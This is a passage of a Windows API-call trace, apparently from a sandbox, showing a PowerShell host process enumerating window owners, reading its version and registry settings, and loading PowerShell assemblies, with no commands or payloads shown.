lpdwProcessId=0x2ee970) returned 0x7c8 [0056.156] GetLastError () returned 0x0 [0056.156] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x15c [0056.156] GetLastError () returned 0x0 [0056.156] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x774 [0056.156] GetLastError () returned 0x0 [0056.156] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x518 [0056.156] GetLastError () returned 0x0 [0056.156] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x274 [0056.156] GetLastError () returned 0x0 [0056.156] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x314 [0056.156] GetLastError () returned 0x0 [0056.157] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x210 [0056.157] GetLastError () returned 0x0 [0056.157] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x240 [0056.157] GetLastError () returned 0x0 [0056.157] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x780 [0056.157] GetLastError () returned 0x0 [0056.157] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x5a4 [0056.157] GetLastError () returned 0x0 [0056.157] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x62c [0056.157] GetLastError () returned 0x0 [0056.157] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0xc4 [0056.157] GetLastError () returned 0x0 [0056.157] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x6f8 [0056.157] GetLastError () returned 0x0 [0056.158] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x5c8 [0056.158] GetLastError () returned 0x0 [0056.158] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x568 [0056.158] GetLastError () returned 0x0 [0056.158] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x538 [0056.158] GetLastError () returned 0x0 [0056.158] GetWindowThreadProcessId (in: hWnd=0x10128, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x540 [0056.158] GetLastError () returned 0x0 [0056.158] GetWindowThreadProcessId (in: hWnd=0x700a4, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x510 [0056.158] GetLastError () returned 0x0 [0056.158] GetWindowThreadProcessId (in: hWnd=0x20104, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x460 [0056.158] GetLastError () returned 0x0 [0056.158] GetWindowThreadProcessId (in: hWnd=0x2002a, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x79c [0056.158] GetLastError () returned 0x0 [0056.159] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x4e0 [0056.159] GetLastError () returned 0x0 [0056.159] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x460 [0056.159] GetLastError () returned 0x0 [0056.159] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x2ee970 | out: lpdwProcessId=0x2ee970) returned 0x778 [0056.159] GetLastError () returned 0x0 [0056.159] GetLastError () returned 0x0 [0056.160] WerSetFlags () returned 0x0 [0056.165] SetThreadPreferredUILanguages (in: dwFlags=0x100, pwszLanguagesBuffer=0x0, pulNumLanguages=0x0 | out: pulNumLanguages=0x0) returned 1 [0056.167] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x2eed4c, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2eed48 | out: pulNumLanguages=0x2eed4c, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2eed48) returned 1 [0056.167] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x2eed4c, pwszLanguagesBuffer=0x2b7b860, pcchLanguagesBuffer=0x2eed48 | out: pulNumLanguages=0x2eed4c, pwszLanguagesBuffer=0x2b7b860, pcchLanguagesBuffer=0x2eed48) returned 1 [0056.171] GetUserDefaultLocaleName (in: lpLocaleName=0x413238, cchLocaleName=16 | out: lpLocaleName="en-US") returned 6 [0056.192] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.192] GetLastError () returned 0xcb [0056.194] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.194] GetLastError () returned 0xcb [0056.195] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.196] GetLastError () returned 0xcb [0056.202] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee7bc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0056.202] GetLastError () returned 0xcb [0056.202] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee7d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0056.202] GetLastError () returned 0xcb [0056.202] SetErrorMode (uMode=0x1) returned 0x1 [0056.202] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x2eec58 | out: lpFileInformation=0x2eec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0056.202] GetLastError () returned 0xcb [0056.203] SetErrorMode (uMode=0x1) returned 0x1 [0056.203] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x2eecdc | out: lpdwHandle=0x2eecdc) returned 0x94c [0056.209] GetLastError () returned 0x0 [0056.209] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x2b7dd90 | out: lpData=0x2b7dd90) returned 1 [0056.210] VerQueryValueW (in: pBlock=0x2b7dd90, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x2eeca8, puLen=0x2eeca4 | out: lplpBuffer=0x2eeca8*=0x2b7de2c, puLen=0x2eeca4) returned 1 [0056.210] VerQueryValueW (in: pBlock=0x2b7dd90, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x2eec24, puLen=0x2eec20 | out: lplpBuffer=0x2eec24*=0x2b7df08, puLen=0x2eec20) returned 1 [0056.210] lstrlenW (lpString="Microsoft Corporation") returned 21 [0056.210] lstrcpyW (in: lpString1=0x413238, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0056.210] VerQueryValueW (in: pBlock=0x2b7dd90, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x2eec24, puLen=0x2eec20 | out: lplpBuffer=0x2eec24*=0x2b7df5c, puLen=0x2eec20) returned 1 [0056.210] lstrlenW (lpString="System.Management.Automation") returned 28 [0056.210] lstrcpyW (in: lpString1=0x413238, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0056.211] VerQueryValueW (in: pBlock=0x2b7dd90, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x2eec24, puLen=0x2eec20 | out: lplpBuffer=0x2eec24*=0x2b7dfb8, puLen=0x2eec20) returned 1 [0056.211] lstrlenW (lpString="6.1.7601.17514") returned 14 [0056.211] lstrcpyW (in: lpString1=0x413238, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0056.211] VerQueryValueW (in: pBlock=0x2b7dd90, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x2eec24, puLen=0x2eec20 | out: lplpBuffer=0x2eec24*=0x2b7dff8, puLen=0x2eec20) returned 1 [0056.211] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0056.211] lstrcpyW (in: lpString1=0x413238, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0056.211] VerQueryValueW (in: pBlock=0x2b7dd90, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x2eec24, puLen=0x2eec20 | out: lplpBuffer=0x2eec24*=0x2b7e060, puLen=0x2eec20) returned 1 [0056.211] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0056.211] lstrcpyW (in: lpString1=0x413238, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0056.211] VerQueryValueW (in: pBlock=0x2b7dd90, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x2eec24, puLen=0x2eec20 | out: lplpBuffer=0x2eec24*=0x2b7e0fc, puLen=0x2eec20) returned 1 [0056.211] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0056.211] lstrcpyW (in: lpString1=0x413238, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0056.211] VerQueryValueW (in: pBlock=0x2b7dd90, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x2eec24, puLen=0x2eec20 | out: lplpBuffer=0x2eec24*=0x2b7e160, puLen=0x2eec20) returned 1 [0056.211] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0056.211] lstrcpyW (in: lpString1=0x413238, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0056.211] VerQueryValueW (in: pBlock=0x2b7dd90, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x2eec24, puLen=0x2eec20 | out: lplpBuffer=0x2eec24*=0x2b7e1dc, puLen=0x2eec20) returned 1 [0056.211] lstrlenW (lpString="6.1.7601.17514") returned 14 [0056.212] lstrcpyW (in: lpString1=0x413238, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0056.212] VerQueryValueW (in: pBlock=0x2b7dd90, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x2eec24, puLen=0x2eec20 | out: lplpBuffer=0x2eec24*=0x2b7de84, puLen=0x2eec20) returned 1 [0056.212] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0056.212] lstrcpyW (in: lpString1=0x413238, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0056.212] VerQueryValueW (in: pBlock=0x2b7dd90, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x2eec24, puLen=0x2eec20 | out: lplpBuffer=0x2eec24*=0x0, puLen=0x2eec20) returned 0 [0056.212] VerQueryValueW (in: pBlock=0x2b7dd90, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x2eec24, puLen=0x2eec20 | out: lplpBuffer=0x2eec24*=0x0, puLen=0x2eec20) returned 0 [0056.212] VerQueryValueW (in: pBlock=0x2b7dd90, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x2eec24, puLen=0x2eec20 | out: lplpBuffer=0x2eec24*=0x0, puLen=0x2eec20) returned 0 [0056.212] VerQueryValueW (in: pBlock=0x2b7dd90, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x2eec18, puLen=0x2eec14 | out: lplpBuffer=0x2eec18*=0x2b7de2c, puLen=0x2eec14) returned 1 [0056.212] VerLanguageNameW (in: wLang=0x0, szLang=0x413238, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0056.212] VerQueryValueW (in: pBlock=0x2b7dd90, lpSubBlock="\\", lplpBuffer=0x2eec2c, puLen=0x2eec28 | out: lplpBuffer=0x2eec2c*=0x2b7ddb8, puLen=0x2eec28) returned 1 [0056.218] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.218] GetLastError () returned 0xcb [0056.221] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.221] GetLastError () returned 0xcb [0056.224] lstrlenW (lpString="䅁") returned 1 [0056.227] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2eebf0 | out: phkResult=0x2eebf0*=0x31c) returned 0x0 [0056.228] RegOpenKeyExW (in: hKey=0x31c, lpSubKey="1", ulOptions=0x0, samDesired=0x20019, phkResult=0x2eebf4 | out: phkResult=0x2eebf4*=0x320) returned 0x0 [0056.228] RegOpenKeyExW (in: hKey=0x320, lpSubKey="PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2eec28 | out: phkResult=0x2eec28*=0x324) returned 0x0 [0056.230] RegQueryValueExW (in: hKey=0x324, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2eec68, lpData=0x0, lpcbData=0x2eec64*=0x0 | out: lpType=0x2eec68*=0x1, lpData=0x0, lpcbData=0x2eec64*=0x56) returned 0x0 [0056.231] RegQueryValueExW (in: hKey=0x324, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2eec68, lpData=0x413238, lpcbData=0x2eec64*=0x56 | out: lpType=0x2eec68*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x2eec64*=0x56) returned 0x0 [0056.234] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee770, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0056.234] GetLastError () returned 0x0 [0056.236] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee770, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0056.236] GetLastError () returned 0x0 [0056.243] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee770, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0056.243] GetLastError () returned 0x0 [0056.252] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.253] GetLastError () returned 0xcb [0056.523] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x2ee730, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0056.523] GetLastError () returned 0x2 [0056.523] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x2ee730, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0056.526] GetLastError () returned 0x2 [0056.764] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.764] GetLastError () returned 0xcb [0056.764] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.764] GetLastError () returned 0xcb [0056.793] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.793] GetLastError () returned 0xcb [0056.794] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.794] GetLastError () returned 0xcb [0056.795] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.795] GetLastError () returned 0xcb [0057.048] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x2ee730, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0057.048] GetLastError () returned 0x0 [0057.049] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x2ee730, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0057.049] GetLastError () returned 0x0 [0057.075] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.075] GetLastError () returned 0xcb [0057.077] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.077] GetLastError () returned 0xcb [0057.133] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee730, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.133] GetLastError () returned 0x7e [0057.133] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee730, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.133] GetLastError () returned 0x7e [0057.814] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x2ee730, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0057.814] GetLastError () returned 0x2 [0057.814] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x2ee730, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0057.814] GetLastError () returned 0x2 [0057.941] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2ee730, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0057.941] GetLastError () returned 0x57 [0057.941] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2ee730, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0057.941] GetLastError () returned 0x57 [0058.094] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x2ee730, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0058.094] GetLastError () returned 0x2 [0058.094] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x2ee730, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0058.094] GetLastError () returned 0x2 [0058.221] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x2ee730, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0058.221] GetLastError () returned 0x2 [0058.221] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x2ee730, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0058.221] GetLastError () returned 0x2 [0058.229] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2ee7f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.229] GetLastError () returned 0xcb [0058.229] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2ee7a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.229] GetLastError () returned 0xcb [0058.229] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2ee7a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.230] GetLastError () returned 0xcb [0058.231] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2ee7a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.231] GetLastError () returned 0xcb [0058.275] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x2ee73c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0058.275] GetLastError () returned 0x2 [0058.275] SetErrorMode (uMode=0x1) returned 0x1 [0058.275] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.config"), fInfoLevelId=0x0, lpFileInformation=0x2eebe4 | out: lpFileInformation=0x2eebe4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, 